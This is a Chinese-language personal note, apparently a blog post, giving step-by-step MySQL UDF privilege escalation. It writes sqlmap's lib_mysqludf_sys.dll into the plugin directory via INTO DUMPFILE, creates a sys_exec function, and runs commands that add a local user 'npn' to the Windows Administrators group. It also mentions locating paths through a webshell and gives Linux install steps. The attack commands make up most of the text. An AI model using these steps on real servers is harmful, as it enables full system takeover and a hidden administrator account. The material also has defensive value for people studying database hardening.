看了太多资料,累坏了,先杂乱的放在这里吧,回头有时间再排版
一、window系统
1、从sqlmap中找到32为的 lib_mysqludf_sys.dll (64位的我没有测试成功)
选择数据库
USE mysql;
创建数据表
CREATE
TABLE
npn(line blob);
lib_mysqludf_sys.dll
里的内容写入数据表
INSERT
INTO
npn
values
(load_file(
'd:/lib_mysqludf_sys.dll'
));
把数据表内的内容写到lib_mysqludf_sys_32.dll
里面(其实这两个dll是一样的;)
SELECT
*
FROM
mysql.npn
INTO
DUMPFILE
'd:/lib_mysqludf_sys_32.dll'
;
lib_mysqludf_sys_32.dll
拷贝到mysql的plugin目录下,这样下面的命令才可以执行
CREATE
FUNCTION
sys_exec
RETURNS
integer
SONAME
'lib_mysqludf_sys_32.dll'
;
SELECT
sys_exec(
"net user npn npn12345678 /add"
);
SELECT
sys_exec(
"net localgroup Administrators npn /add"
);
2、
如果不清楚mysql lib目录可以登mysql执行
mysql> show variables like '%plug%';
注意,如果库中没有相关的函数者会报错如:
3、mysql通过plugin可以扩展更多的功能.plugin相当于一种插件,用户可以根据自己的需要求开发各种
各样的plugin来支持自定义的功能,比如存储引擎,半同步复制,分区等等各种各样的功能.
mysql服务器的plugin可以分为两类,一种是内置的plugin,一种是外部的plugin.内部的plugin主要是和
mysql服务器一起分发的,用户不需要额外干预.而外部的plugin是由用户自行开发,实现某种特殊的功能.
可以通过 show plugins来查看。如果library栏位为null,就表示为内置的plugin,否则为外部的plugin。
mysql> show plugins;
4、BLOB类型的字段用于存储二进制数据
MySQL中,BLOB是个类型系列,包括:TinyBlob、Blob、MediumBlob、LongBlob,这几个类型之间的唯一区别是在存储文件的最大大小上不同。
MySQL的四种BLOB类型
类型 大小(单位:字节)
TinyBlob 最大 255
Blob 最大 65K
MediumBlob 最大 16M
LongBlob 最大 4G
5、从MYSQL 5.1版本开始必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数,并且该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。
6、mysql dumpfile 与 outfile 函数的区别
into outfile 函数会 在行末端写入新行 更致命的 是会转义换行符, 这样的话2进制可执行文件就会被破坏 ,
在导出到 一个txt文件,事实上是可以完整导出每行记录的.这个很适合导库,如果要导出多行记录,dumpfile是不行的 它只能导出 一行数据!
into dumpfile 就能导出 一个完整能执行的2进制 文件into dumpfile 函数不对任何列或行进行终止,也不执行任何转义处理
7、查看系统plugin的设置目录;
select @@basedir; --获取mysql安装目录;
show variables like "%plugin%"
二、linux:
1、从下面地址下载最新的文件
https://github.com/mysqludf/lib_mysqludf_sys
2、进入文件目录,执行下面命令:
$ sudo ./install.sh
根据提示进行安装